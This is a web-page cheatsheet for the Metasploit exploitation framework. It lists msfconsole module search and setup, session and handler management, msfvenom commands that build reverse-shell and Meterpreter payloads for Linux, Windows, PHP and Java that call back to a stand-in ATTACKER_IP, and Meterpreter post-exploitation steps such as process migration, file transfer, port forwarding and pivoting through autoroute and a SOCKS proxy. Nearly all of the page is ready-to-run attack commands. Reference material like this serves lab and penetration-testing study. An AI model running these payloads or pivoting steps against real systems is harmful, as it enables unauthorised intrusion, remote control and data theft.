Skip to content

Metasploit

Executive Summary

Metasploit is an exploitation framework used to search modules, configure exploits, run payloads, manage sessions, and perform post-exploitation tasks.

Use this cheatsheet for quick msfconsole, module, payload, and Meterpreter command lookup.

Start Metasploit

Start console:

msfconsole

Start with no banner:

msfconsole -q

Update database:

msfdb init

Check database status:

db_status

Search Modules

Search by name:

search smb

Search exploit modules:

search type:exploit smb

Search by CVE:

search cve:2021

Search by platform:

search platform:windows

Search by rank:

search rank:excellent

Module Workflow

Use module:

use exploit/path/module

Show options:

show options

Show payloads:

show payloads

Set target host:

set RHOSTS TARGET_IP

Set local host:

set LHOST ATTACKER_IP

Set payload:

set PAYLOAD payload/path

Run module:

run

Alternative:

exploit

Run in background:

run -j

Common Options

Option Purpose
RHOSTS Target host or range
RPORT Target port
LHOST Local listener IP
LPORT Local listener port
TARGETURI Web application path
USERNAME Username
PASSWORD Password
DOMAIN Windows domain
SSL Use TLS/SSL
VERBOSE Show more output

Sessions

List sessions:

sessions

Interact with session:

sessions -i SESSION_ID

Background current session:

background

Kill session:

sessions -k SESSION_ID

Kill all sessions:

sessions -K

Jobs

List jobs:

jobs

Kill job:

jobs -k JOB_ID

Kill all jobs:

jobs -K

Handlers

Use multi handler:

use exploit/multi/handler

Set payload:

set PAYLOAD windows/meterpreter/reverse_tcp

Set listener:

set LHOST ATTACKER_IP
set LPORT 4444

Start handler:

run

Start handler as job:

run -j

Msfvenom Payloads

Linux reverse shell:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf

Windows reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

Windows Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meterpreter.exe

PHP reverse shell:

msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -o shell.php

WAR payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f war -o shell.war

Meterpreter Basics

Show help:

help

System info:

sysinfo

Current user:

getuid

Current directory:

pwd

List files:

ls

Change directory:

cd PATH

Upload file:

upload local_file remote_path

Download file:

download remote_file local_path

Shell:

shell

Meterpreter Processes

List processes:

ps

Get PID:

getpid

Migrate:

migrate PID

Kill process:

kill PID

Meterpreter Networking

Show network interfaces:

ipconfig

Show routes:

route

Port forward:

portfwd add -l 8080 -p 80 -r INTERNAL_IP

Remove port forward:

portfwd delete -l 8080 -p 80 -r INTERNAL_IP

Routing Through Meterpreter

Add route:

run autoroute -s INTERNAL_SUBNET/CIDR

Print routes:

run autoroute -p

Start SOCKS proxy:

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j

Proxychains entry:

socks5 127.0.0.1 1080

Useful Post Modules

Search post modules:

search type:post platform:windows

Run local exploit suggester:

use post/multi/recon/local_exploit_suggester

Set session:

set SESSION SESSION_ID

Run:

run

Notes

  • Always check module options before running.
  • Use check when a module supports it.
  • Save results and session details during labs.
  • Use handlers for payloads generated with msfvenom.
  • Meterpreter routing is useful for pivoting but can be unstable through weak sessions.